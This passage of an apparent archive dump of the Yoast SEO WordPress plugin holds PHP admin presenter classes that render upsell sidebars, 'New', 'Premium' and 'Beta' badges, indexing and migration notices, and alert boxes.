						/* translators: %1$s expands to Yoast */
						\printf( \esc_html__( '%1$s recommendations for you', 'wordpress-seo' ), 'Yoast' );
						?>
					</div>
					<div class="yoast-sidebar__product">
						<figure class="product-image">
							<figure class="product-image">
								<img
									width="75" height="75"
									src="<?php echo \esc_url( $assets_uri . 'packages/js/images/Yoast_SEO_Icon.svg' ); ?>"
									class="attachment-full size-full content-visible"
									alt="Yoast SEO logo"
									loading="lazy"
									decoding="asyc"
									fetchpriority="low"
									sizes="(min-width: 1321px) 75px">
							</figure>
						</figure>
						<?php if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) : ?>
							<div class="sidebar__sale_banner_container">
								<div class="sidebar__sale_banner">
										<span class="banner_text"><?php echo \esc_html( $title ); ?></span>
								</div>
							</div>
						<?php endif; ?>
						<h2 class="yoast-get-premium-title">
							<?php
							if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
								/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
								\printf( \esc_html__( '%1$sBuy%2$s %3$s', 'wordpress-seo' ), '<span>', '</span>', 'Yoast SEO Premium' );
							}
							else {
								/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
								\printf( \esc_html__( '%1$sGet%2$s %3$s', 'wordpress-seo' ), '<span>', '</span>', 'Yoast SEO Premium' );
							}
							?>
						</h2>
						<p>
							<?php
							if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
								echo \esc_html__( 'If you were thinking about upgrading, now\'s the time! 30% OFF ends 3rd Dec 11am (CET)', 'wordpress-seo' );
							}
							else {
								echo \esc_html__( 'Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!', 'wordpress-seo' );
							}
							?>
						</p>
						<p class="plugin-buy-button">
							<a class="yoast-button-upsell" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" target="_blank" href="<?php echo \esc_url( $buy_yoast_seo_shortlink ); ?>">
								<?php
								if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
									echo \esc_html__( 'Buy now', 'wordpress-seo' );
								}
								else {
									/* translators: %s expands to Yoast SEO Premium */
									\printf( \esc_html__( 'Get %1$s', 'wordpress-seo' ), 'Yoast SEO Premium' );
								}
								?>
								<span aria-hidden="true" class="yoast-button-upsell__caret"></span>
							</a>
						</p>
						<p class="yoast-price-micro-copy">
							<?php
							if ( ! \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
								echo \esc_html__( 'Only $/€/£99 per year (ex VAT)', 'wordpress-seo' ), '<br />';
							}
							?>
							<?php
								echo \esc_html__( '30-day money back guarantee.', 'wordpress-seo' );
							?>
						</p>
						<hr class="yoast-upsell-hr" aria-hidden="true">
						<div class="review-container">
							<a href="https://www.g2.com/products/yoast-yoast/reviews" target="_blank" rel="noopener">
								<span class="claim">
									<?php \esc_html_e( 'Read reviews from real users', 'wordpress-seo' ); ?>
								</span>
								<span class="rating">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="22" width="22" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/g2_logo_white_optm.svg' ); ?>">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="20" width="20" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/star-rating-star.svg' ); ?>">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="20" width="20" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/star-rating-star.svg' ); ?>">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="20" width="20" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/star-rating-star.svg' ); ?>">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="20" width="20" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/star-rating-star.svg' ); ?>">
									<img alt="" loading="lazy" fetchpriority="low" decoding="async" height="20" width="20" src="<?php echo \esc_url( $assets_uri . 'packages/js/images/star-rating-half.svg' ); ?>">
									<span class="rating-text">4.6 / 5</span>

								</span>
							</a>
						</div>
					</div>
				</div>
				<div class="yoast-sidebar__section">
					<h2>
						<?php
						\esc_html_e( 'Learn SEO', 'wordpress-seo' );
						?>
					</h2>
					<p>
						<?php
						$academy_shortlink = WPSEO_Shortlinker::get( 'https://yoa.st/3t6' );

						/* translators: %1$s expands to Yoast SEO academy, which is a clickable link. */
						\printf( \esc_html__( 'Want to learn SEO from Team Yoast? Check out our %1$s!', 'wordpress-seo' ), '<a href="' . \esc_url( $academy_shortlink ) . '" target="_blank"><strong>Yoast SEO academy</strong></a>' );
						echo '<br/>';
						\esc_html_e( 'We have both free and premium online courses to learn everything you need to know about SEO.', 'wordpress-seo' );
						?>
					</p>
					<p>
						<a href="<?php echo \esc_url( $academy_shortlink ); ?>" target="_blank">
							<?php
							/* translators: %1$s expands to Yoast SEO academy */
							\printf( \esc_html__( 'Check out %1$s', 'wordpress-seo' ), 'Yoast SEO academy' );
							?>
						</a>
					</p>
				</div>
			</div>
		<?php
		return \ob_get_clean();
	}
}
wordpress-seo/src/presenters/admin/badge-presenter.php000064400000005221147510273100017211 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Config\Badge_Group_Names;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for "New" badges.
 */
class Badge_Presenter extends Abstract_Presenter {

	/**
	 * Identifier of the badge.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * Optional link of the badge.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Optional group which the badge belongs to.
	 *
	 * Each group has a fixed period after which the group will no longer be considered new and the badges will disappear.
	 *
	 * @var string
	 */
	private $group;

	/**
	 * Optional object storing the group names and expiration versions.
	 *
	 * The group names set in Yoast SEO are used by default, but they can be overridden to use custom ones for an add-on.
	 *
	 * @var Badge_Group_Names
	 */
	private $badge_group_names;

	/**
	 * Badge_Presenter constructor.
	 *
	 * @param string                 $id                Id of the badge.
	 * @param string                 $link              Optional link of the badge.
	 * @param string                 $group             Optional group which the badge belongs to.
	 * @param Badge_Group_Names|null $badge_group_names Optional object storing the group names.
	 */
	public function __construct( $id, $link = '', $group = '', $badge_group_names = null ) {
		$this->id    = $id;
		$this->link  = $link;
		$this->group = $group;

		if ( ! $badge_group_names instanceof Badge_Group_Names ) {
			$badge_group_names = new Badge_Group_Names();
		}
		$this->badge_group_names = $badge_group_names;
	}

	/**
	 * Presents the New Badge. If a link has been passed, the badge is presented with the link.
	 * Otherwise a static badge is presented.
	 *
	 * @return string The styled New Badge.
	 */
	public function present() {
		if ( ! $this->is_group_still_new() ) {
			return '';
		}

		if ( $this->link !== '' ) {
			return \sprintf(
				'<a class="yoast-badge yoast-badge__is-link yoast-new-badge" id="%1$s-new-badge" href="%2$s">%3$s</a>',
				\esc_attr( $this->id ),
				\esc_url( $this->link ),
				\esc_html__( 'New', 'wordpress-seo' )
			);
		}

		return \sprintf(
			'<span class="yoast-badge yoast-new-badge" id="%1$s-new-badge">%2$s</span>',
			\esc_attr( $this->id ),
			\esc_html__( 'New', 'wordpress-seo' )
		);
	}

	/**
	 * Check whether the new badge should be shown according to the group it is in.
	 *
	 * @return bool True if still new.
	 */
	public function is_group_still_new() {
		// If there's no group configured, the new badge is always active.
		if ( ! $this->group ) {
			return true;
		}

		return $this->badge_group_names->is_still_eligible_for_new_badge( $this->group );
	}
}
wordpress-seo/src/presenters/admin/indexing-list-item-presenter.php000064400000003012147510273100021655 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Indexing_List_Item_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Indexing_List_Item_Presenter extends Abstract_Presenter {

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Indexing_List_Item_Presenter constructor.
	 *
	 * @param Short_Link_Helper $short_link_helper Represents the short link helper.
	 */
	public function __construct( Short_Link_Helper $short_link_helper ) {
		$this->short_link_helper = $short_link_helper;
	}

	/**
	 * Presents the list item for the tools menu.
	 *
	 * @return string The list item HTML.
	 */
	public function present() {
		$output  = \sprintf( '<li><strong>%s</strong><br/>', \esc_html__( 'Optimize SEO Data', 'wordpress-seo' ) );
		$output .= \sprintf(
			'%1$s <a href="%2$s" target="_blank">%3$s</a>',
			\esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored. If you have a lot of content it might take a while, but trust us, it\'s worth it.', 'wordpress-seo' ),
			\esc_url( $this->short_link_helper->get( 'https://yoa.st/3-z' ) ),
			\esc_html__( 'Learn more about the benefits of optimized SEO data.', 'wordpress-seo' )
		);

		$output .= '<div id="yoast-seo-indexing-action" style="margin: 16px 0;"></div>';
		$output .= '</li>';

		return $output;
	}
}
wordpress-seo/src/presenters/admin/migration-error-presenter.php000064400000004264147510273100021275 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Shortlinker;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Presenter class for the migration error.
 */
class Migration_Error_Presenter extends Abstract_Presenter {

	/**
	 * Holds the migration error.
	 *
	 * The array holds the following values if filled:
	 * - int|false $time    The timestamp.
	 * - string    $version The Yoast SEO version.
	 * - string    $message The error message.
	 *
	 * @var array
	 */
	protected $migration_error;

	/**
	 * Migration_Error_Presenter constructor.
	 *
	 * @param array $migration_error The migration error.
	 */
	public function __construct( $migration_error ) {
		$this->migration_error = $migration_error;
	}

	/**
	 * Presents the migration error that occurred.
	 *
	 * @return string The error HTML.
	 */
	public function present() {
		$header = \sprintf(
			/* translators: %s: Yoast SEO. */
			\esc_html__( '%s is unable to create database tables', 'wordpress-seo' ),
			'Yoast SEO'
		);
		$message = \sprintf(
			/* translators: %s: Yoast SEO. */
			\esc_html__( '%s had problems creating the database tables needed to speed up your site.', 'wordpress-seo' ),
			'Yoast SEO'
		);
		$support = \sprintf(
			/* translators: %1$s: link to help article about solving table issue. %2$s: is anchor closing. */
			\esc_html__( 'Please read %1$sthis help article%2$s to find out how to resolve this problem.', 'wordpress-seo' ),
			'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/3-6' ) . '">',
			'</a>'
		);
		$reassurance = \sprintf(
			/* translators: %s: Yoast SEO. */
			\esc_html__( 'Your site will continue to work normally, but won\'t take full advantage of %s.', 'wordpress-seo' ),
			'Yoast SEO'
		);

		$debug_info = \sprintf(
			'<details><summary>%1$s</summary><p>%2$s</p></details>',
			\esc_html__( 'Show debug information', 'wordpress-seo' ),
			\esc_html( $this->migration_error['message'] )
		);

		return \sprintf(
			'<div class="notice notice-error yoast-migrated-notice"><h4 class="yoast-notice-migrated-header">%1$s</h4><div class="notice-yoast-content"><p>%2$s</p><p>%3$s</p><p>%4$s</p>%5$s</div></div>',
			$header,
			$message,
			$support,
			$reassurance,
			$debug_info
		);
	}
}
wordpress-seo/src/presenters/admin/search-engines-discouraged-presenter.php000064400000002666147510273100023343 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Search_Engines_Discouraged_Presenter.
 */
class Search_Engines_Discouraged_Presenter extends Abstract_Presenter {

	/**
	 * Returns the notification as an HTML string.
	 *
	 * @return string The notification in an HTML string representation.
	 */
	public function present() {
		$notification_text  = '<p>';
		$notification_text .= $this->get_message();
		$notification_text .= '</p>';

		return $notification_text;
	}

	/**
	 * Returns the message to show.
	 *
	 * @return string The message.
	 */
	protected function get_message() {
		return \sprintf(
			'<strong>%1$s</strong> %2$s <button type="button" id="robotsmessage-dismiss-button" class="button-link hide-if-no-js" data-nonce="%3$s">%4$s</button>',
			\esc_html__( 'Huge SEO Issue: You\'re blocking access to robots.', 'wordpress-seo' ),
			\sprintf(
			/* translators: 1: Link start tag to the WordPress Reading Settings page, 2: Link closing tag. */
				\esc_html__( 'If you want search engines to show this site in their results, you must %1$sgo to your Reading Settings%2$s and uncheck the box for Search Engine Visibility.', 'wordpress-seo' ),
				'<a href="' . \esc_url( \admin_url( 'options-reading.php' ) ) . '">',
				'</a>'
			),
			\esc_js( \wp_create_nonce( 'wpseo-ignore' ) ),
			\esc_html__( 'I don\'t want this site to show in the search results.', 'wordpress-seo' )
		);
	}
}
wordpress-seo/src/presenters/admin/indexing-notification-presenter.php000064400000013141147510273100022440 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Class Indexing_Notification_Presenter.
 *
 * @package Yoast\WP\SEO\Presenters\Admin
 */
class Indexing_Notification_Presenter extends Abstract_Presenter {

	/**
	 * The total number of unindexed objects.
	 *
	 * @var int
	 */
	protected $total_unindexed;

	/**
	 * The message to show in the notification.
	 *
	 * @var string
	 */
	protected $reason;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * Indexing_Notification_Presenter constructor.
	 *
	 * @param Short_Link_Helper $short_link_helper The short link helper.
	 * @param int               $total_unindexed   Total number of unindexed objects.
	 * @param string            $reason            The reason to show in the notification.
	 */
	public function __construct( $short_link_helper, $total_unindexed, $reason ) {
		$this->short_link_helper = $short_link_helper;
		$this->total_unindexed   = $total_unindexed;
		$this->reason            = $reason;
	}

	/**
	 * Returns the notification as an HTML string.
	 *
	 * @return string The HTML string representation of the notification.
	 */
	public function present() {
		$notification_text  = '<p>' . $this->get_message( $this->reason );
		$notification_text .= $this->get_time_estimate( $this->total_unindexed ) . '</p>';
		$notification_text .= '<a class="button" href="' . \get_admin_url( null, 'admin.php?page=wpseo_tools&start-indexation=true' ) . '">';
		$notification_text .= \esc_html__( 'Start SEO data optimization', 'wordpress-seo' );
		$notification_text .= '</a>';

		return $notification_text;
	}

	/**
	 * Determines the message to show in the indexing notification.
	 *
	 * @param string $reason The reason identifier.
	 *
	 * @return string The message to show in the notification.
	 */
	protected function get_message( $reason ) {
		switch ( $reason ) {
			case Indexing_Reasons::REASON_PERMALINK_SETTINGS:
				$text = \esc_html__( 'Because of a change in your permalink structure, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_HOME_URL_OPTION:
				$text = \esc_html__( 'Because of a change in your home URL setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX:
				$text = \esc_html__( 'Because of a change in your category base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_TAG_BASE_PREFIX:
				$text = \esc_html__( 'Because of a change in your tag base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC:
				$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your post types. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC:
				$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your taxonomies. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
				break;
			case Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED:
				$text = \esc_html__( 'It looks like you\'ve enabled media pages. We recommend that you help us to re-analyze your site by running the SEO data optimization.', 'wordpress-seo' );
				break;
			default:
				$text = \esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored.', 'wordpress-seo' );
		}

		/**
		 * Filter: 'wpseo_indexables_indexation_alert' - Allow developers to filter the reason of the indexation
		 *
		 * @param string $text   The text to show as reason.
		 * @param string $reason The reason value.
		 */
		return (string) \apply_filters( 'wpseo_indexables_indexation_alert', $text, $reason );
	}

	/**
	 * Creates a time estimate based on the total number on unindexed objects.
	 *
	 * @param int $total_unindexed The total number of unindexed objects.
	 *
	 * @return string The time estimate as a HTML string.
	 */
	protected function get_time_estimate( $total_unindexed ) {
		if ( $total_unindexed < 400 ) {
			return \esc_html__( ' We estimate this will take less than a minute.', 'wordpress-seo' );
		}

		if ( $total_unindexed < 2500 ) {
			return \esc_html__( ' We estimate this will take a couple of minutes.', 'wordpress-seo' );
		}

		$estimate  = \esc_html__( ' We estimate this could take a long time, due to the size of your site. As an alternative to waiting, you could:', 'wordpress-seo' );
		$estimate .= '<ul class="ul-disc">';
		$estimate .= '<li>';
		$estimate .= \sprintf(
			/* translators: 1: Expands to Yoast SEO */
			\esc_html__( 'Wait for a week or so, until %1$s automatically processes most of your content in the background.', 'wordpress-seo' ),
			'Yoast SEO'
		);
		$estimate .= '</li>';
		$estimate .= '<li>';
		$estimate .= \sprintf(
			/* translators: 1: Link to article about indexation command, 2: Anchor closing tag, 3: Link to WP CLI. */
			\esc_html__( '%1$sRun the indexation process on your server%2$s using %3$sWP CLI%2$s.', 'wordpress-seo' ),
			'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/3-w' ) ) . '" target="_blank">',
			'</a>',
			'<a href="https://wp-cli.org/" target="_blank">'
		);

		$estimate .= '</li>';
		$estimate .= '</ul>';

		return $estimate;
	}
}
wordpress-seo/src/presenters/admin/premium-badge-presenter.php000064400000002510147510273100020663 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for "Premium" badges.
 */
class Premium_Badge_Presenter extends Abstract_Presenter {

	/**
	 * Identifier of the badge.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * Optional link of the badge.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Premium_Badge_Presenter constructor.
	 *
	 * @param string $id   Id of the badge.
	 * @param string $link Optional link of the badge.
	 */
	public function __construct( $id, $link = '' ) {
		$this->id   = $id;
		$this->link = $link;
	}

	/**
	 * Presents the Premium Badge. If a link has been passed, the badge is presented with the link.
	 * Otherwise a static badge is presented.
	 *
	 * @return string The styled Premium Badge.
	 */
	public function present() {
		if ( $this->link !== '' ) {
			return \sprintf(
				'<a class="yoast-badge yoast-badge__is-link yoast-premium-badge" id="%1$s-premium-badge" href="%2$s">%3$s</a>',
				\esc_attr( $this->id ),
				\esc_url( $this->link ),
				'Premium' // We don't want this string to be translatable.
			);
		}

		return \sprintf(
			'<span class="yoast-badge yoast-premium-badge" id="%1$s-premium-badge">%2$s</span>',
			\esc_attr( $this->id ),
			'Premium' // We don't want this string to be translatable.
		);
	}
}
wordpress-seo/src/presenters/admin/beta-badge-presenter.php000064400000002447147510273100020131 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for "Beta" badges.
 */
class Beta_Badge_Presenter extends Abstract_Presenter {

	/**
	 * Identifier of the badge.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * Optional link of the badge.
	 *
	 * @var string
	 */
	private $link;

	/**
	 * Beta_Badge_Presenter constructor.
	 *
	 * @param string $id   Id of the badge.
	 * @param string $link Optional link of the badge.
	 */
	public function __construct( $id, $link = '' ) {
		$this->id   = $id;
		$this->link = $link;
	}

	/**
	 * Presents the Beta Badge. If a link has been passed, the badge is presented with the link.
	 * Otherwise a static badge is presented.
	 *
	 * @return string The styled Beta Badge.
	 */
	public function present() {
		if ( $this->link !== '' ) {
			return \sprintf(
				'<a class="yoast-badge yoast-badge__is-link yoast-beta-badge" id="%1$s-beta-badge" href="%2$s">%3$s</a>',
				\esc_attr( $this->id ),
				\esc_url( $this->link ),
				'Beta' // We don't want this string to be translatable.
			);
		}

		return \sprintf(
			'<span class="yoast-badge yoast-beta-badge" id="%1$s-beta-badge">%2$s</span>',
			\esc_attr( $this->id ),
			'Beta' // We don't want this string to be translatable.
		);
	}
}
wordpress-seo/src/presenters/admin/alert-presenter.php000064400000003063147510273100017260 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for Alert boxes.
 */
class Alert_Presenter extends Abstract_Presenter {

	/**
	 * Content of the Alert.
	 *
	 * @var string
	 */
	private $content = '';

	/**
	 * The type of the Alert.
	 *
	 * Can be: "error", "info", "success" or "warning".
	 * Controls the colours and icon of the Alert.
	 *
	 * @var string
	 */
	private $type;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Alert_Presenter constructor.
	 *
	 * @param string $content Content of the Alert.
	 * @param string $type    Type of the Alert (error/info/success/warning), default is warning.
	 */
	public function __construct( $content, $type = 'warning' ) {
		$this->content = $content;
		$this->type    = $type;

		if ( ! $this->asset_manager ) {
			$this->asset_manager = new WPSEO_Admin_Asset_Manager();
		}

		$this->asset_manager->enqueue_style( 'alert' );
	}

	/**
	 * Presents the Alert.
	 *
	 * @return string The styled Alert.
	 */
	public function present() {
		$icon_file = 'images/alert-' . $this->type . '-icon.svg';

		$out  = '<div class="yoast-alert yoast-alert--' . $this->type . '">';
		$out .= '<span>';
		$out .= '<img class="yoast-alert__icon" src="' . \esc_url( \plugin_dir_url( \WPSEO_FILE ) . $icon_file ) . '" alt="" />';
		$out .= '</span>';

		$out .= '<span>' . $this->content . '</span>';
		$out .= '</div>';

		return $out;
	}
}
wordpress-seo/src/presenters/admin/indexing-error-presenter.php000064400000010463147510273100021107 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * An error that should be shown when indexation has failed.
 */
class Indexing_Error_Presenter extends Abstract_Presenter {

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The product helper
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * Indexing_Error_Presenter constructor.
	 *
	 * @param Short_Link_Helper   $short_link_helper Represents the short link helper.
	 * @param Product_Helper      $product_helper    The product helper.
	 * @param WPSEO_Addon_Manager $addon_manager     The addon manager.
	 */
	public function __construct(
		Short_Link_Helper $short_link_helper,
		Product_Helper $product_helper,
		WPSEO_Addon_Manager $addon_manager
	) {
		$this->short_link_helper = $short_link_helper;
		$this->product_helper    = $product_helper;
		$this->addon_manager     = $addon_manager;
	}

	/**
	 * Generates the first paragraph of the error message to show when indexing failed.
	 *
	 * The contents of the paragraph varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
	 *
	 * @param bool $is_premium                     Whether WordPress SEO Premium is currently active.
	 * @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription.
	 *
	 * @return string
	 */
	protected function generate_first_paragraph( $is_premium, $has_valid_premium_subscription ) {
		$message = \__(
			'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please click the button again to re-start the process. ',
			'wordpress-seo'
		);

		if ( $is_premium ) {
			if ( $has_valid_premium_subscription ) {
				$message .= \__( 'If the problem persists, please contact support.', 'wordpress-seo' );
			}
			else {
				$message = \sprintf(
					/* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
					\__(
						'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.',
						'wordpress-seo'
					),
					'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/3wv' ) ) . '">',
					'</a>'
				);
			}
		}

		return $message;
	}

	/**
	 * Generates the second paragraph of the error message to show when indexing failed.
	 *
	 * The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
	 *
	 * @param bool $is_premium                     Whether WordPress SEO Premium is currently active.
	 * @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription.
	 *
	 * @return string The second paragraph of the error message.
	 */
	protected function generate_second_paragraph( $is_premium, $has_valid_premium_subscription ) {
		return \sprintf(
			/* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
			\__(
				'Below are the technical details for the error. See %1$sthis page%2$s for a more detailed explanation.',
				'wordpress-seo'
			),
			'<a href="' . \esc_url( $this->short_link_helper->get( 'https://yoa.st/4f3' ) ) . '">',
			'</a>'
		);
	}

	/**
	 * Presents the error message to show if SEO optimization failed.
	 *
	 * The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
	 *
	 * @return string The error message to show.
	 */
	public function present() {
		$is_premium                     = $this->product_helper->is_premium();
		$has_valid_premium_subscription = $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );

		$output  = '<p>' . $this->generate_first_paragraph( $is_premium, $has_valid_premium_subscription ) . '</p>';
		$output .= '<p>' . $this->generate_second_paragraph( $is_premium, $has_valid_premium_subscription ) . '</p>';

		return $output;
	}
}
wordpress-seo/src/presenters/admin/notice-presenter.php000064400000006462147510273100017440 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Represents the presenter class for Yoast-styled WordPress admin notices.
 */
class Notice_Presenter extends Abstract_Presenter {

	/**
	 * The title of the admin notice.
	 *
	 * @var string
	 */
	private $title;

	/**
	 * The content of the admin notice.
	 *
	 * @var string
	 */
	private $content;

	/**
	 * The filename of the image for the notice. Should be a file in the 'images' folder.
	 *
	 * @var string
	 */
	private $image_filename;

	/**
	 * HTML string to be displayed after the main content, usually a button.
	 *
	 * @var string
	 */
	private $button;

	/**
	 * Whether the notice should be dismissible.
	 *
	 * @var bool
	 */
	private $is_dismissible;

	/**
	 * The id for the div of the notice.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Notice_Presenter constructor.
	 *
	 * @param string      $title          Title of the admin notice.
	 * @param string      $content        Content of the admin notice.
	 * @param string|null $image_filename Optional. The filename of the image of the admin notice,
	 *                                    should be inside the 'images' folder.
	 * @param string|null $button         Optional. An HTML string to be displayed after the main content,
	 *                                    usually a button.
	 * @param bool        $is_dismissible Optional. Whether the admin notice should be dismissible.
	 * @param string      $id             Optional. The id of the notice.
	 */
	public function __construct( $title, $content, $image_filename = null, $button = null, $is_dismissible = false, $id = '' ) {
		$this->title          = $title;
		$this->content        = $content;
		$this->image_filename = $image_filename;
		$this->button         = $button;
		$this->is_dismissible = $is_dismissible;
		$this->id             = $id;

		if ( ! $this->asset_manager ) {
			$this->asset_manager = new WPSEO_Admin_Asset_Manager();
		}

		$this->asset_manager->enqueue_style( 'notifications' );
	}

	/**
	 * Presents the Notice.
	 *
	 * @return string The styled Notice.
	 */
	public function present() {
		$dismissible = ( $this->is_dismissible ) ? ' is-dismissible' : '';
		$id          = ( $this->id ) ? ' id="' . $this->id . '"' : '';

		// WordPress admin notice.
		$out  = '<div' . $id . ' class="notice notice-yoast yoast' . $dismissible . '">';
		$out .= '<div class="notice-yoast__container">';

		// Header.
		$out .= '<div>';
		$out .= '<div class="notice-yoast__header">';
		$out .= '<span class="yoast-icon"></span>';
		$out .= \sprintf(
			'<h2 class="notice-yoast__header-heading yoast-notice-migrated-header">%s</h2>',
			\esc_html( $this->title )
		);
		$out .= '</div>';
		$out .= '<div class="notice-yoast-content">';
		$out .= '<p>' . $this->content . '</p>';
		if ( ! \is_null( $this->button ) ) {
			$out .= '<p>' . $this->button . '</p>';
		}
		$out .= '</div>';
		$out .= '</div>';

		if ( ! \is_null( $this->image_filename ) ) {
			$out .= '<img src="' . \esc_url( \plugin_dir_url( \WPSEO_FILE ) . 'images/' . $this->image_filename ) . '" alt="" height="60" width="75"/>';
		}

		$out .= '</div>';
		$out .= '</div>';

		return $out;
	}
}
wordpress-seo/src/presenters/admin/meta-fields-presenter.php000064400000003100147510273100020333 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Admin;

use WP_Post;
use WPSEO_Meta;
use Yoast\WP\SEO\Presenters\Abstract_Presenter;

/**
 * Presenter class for meta fields in the post editor.
 *
 * Outputs the hidden fields for a particular field group and post.
 */
class Meta_Fields_Presenter extends Abstract_Presenter {

	/**
	 * The meta fields for which we are going to output hidden input.
	 *
	 * @var array
	 */
	private $meta_fields;

	/**
	 * The metabox post.
	 *
	 * @var WP_Post The metabox post.
	 */
	private $post;

	/**
	 * Meta_Fields_Presenter constructor.
	 *
	 * @param WP_Post $post        The metabox post.
	 * @param string  $field_group The key under which a group of fields is grouped.
	 * @param string  $post_type   The post type.
	 */
	public function __construct( $post, $field_group, $post_type = 'post' ) {
		$this->post        = $post;
		$this->meta_fields = WPSEO_Meta::get_meta_field_defs( $field_group, $post_type );
	}

	/**
	 * Presents the Meta Fields.
	 *
	 * @return string The styled Alert.
	 */
	public function present() {
		$output = '';

		foreach ( $this->meta_fields as $key => $meta_field ) {
